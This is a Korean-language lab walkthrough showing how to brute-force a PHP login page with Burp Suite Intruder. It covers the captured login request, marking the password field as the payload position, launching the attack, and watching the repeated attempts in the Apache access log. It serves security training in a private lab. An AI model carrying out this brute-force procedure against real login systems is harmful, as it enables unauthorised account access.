Brute Force 로그인 공격

실습> Brute force 로그인 Attack

1. 메인페이지 요청
- Proxy를 Off로 설정하고 요청한다.
- Proxy를 On으로 설정하고 Intercept is off 로 설정하고 요청한다.
http://192.168.108.101/


2. 로그인 시도
Intercept is on 으로 설정하고 로그인을 시도한다.

id : admin
pw : 1

burp에서 아래처럼 잡히게 된다.
POST /loginok.php HTTP/1.1
Host: 192.168.108.101
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ltnavqucn6k5vhgsjf1rruo2c4
Connection: close

userid=admin&userpw=1  <-- 마우스를 놓고 오른쪽 버튼을 클릭해서 Send to Intruder를 클릭한다.

3. Intruder 메뉴
Intruder 탭을 클릭하면 아래처럼 나온다.

POST /loginok.php HTTP/1.1
Host: 192.168.108.101
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=§ltnavqucn6k5vhgsjf1rruo2c4§
Connection: close

userid=§admin§&userpw=§1§

여기서 clear$ 를 한번 누르고 userpw=1 부분에서 1을 블럭잡고 Add$를 누르면 userpw=§1§ 로 변경된다.

4. Payload Set 설정과 Attack
Payload 에서 Payload Set 에서 Payload type을 Brute forcer 를 선택하고 Start Attack 버튼을 클릭한다.

5. 로그 확인
서버에서 Brute Forcing으로 접속해서 들어오는 로그를 확인한다.

/etc/httpd/conf/httpd.conf 파일에서 가상호스트 설정 부분에서 CustomLog 의 로그 파일을 확인하고 
그 파일을 모니터링 한다.
# http 설정
<VirtualHost *:80>
    ServerAdmin   webmaster@server1.kr
    DocumentRoot  /var/www/html
    ServerName    server1.kr
    ServerAlias   www.server1.kr
    ErrorLog      logs/server1.kr-error_log
    CustomLog     logs/server1.kr-access_log common
</VirtualHost>


[root@www html]# tail -f /var/log/httpd/server1.kr-access_log  
  :
  :(생략)
192.168.108.1 - - [20/Jan/2022:12:05:50 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:51 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:52 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:53 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:54 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:55 +0900] "POST /loginok.php HTTP/1.1" 200 172
192.168.108.1 - - [20/Jan/2022:12:05:57 +0900] "POST /loginok.php HTTP/1.1" 200 172

6. Intercept Off
Intruder가 종료되면 proxy에서 패킷을 잡고 있으므로 Intercept is off 를 클릭해서 서버쪽으로 보내야 한다.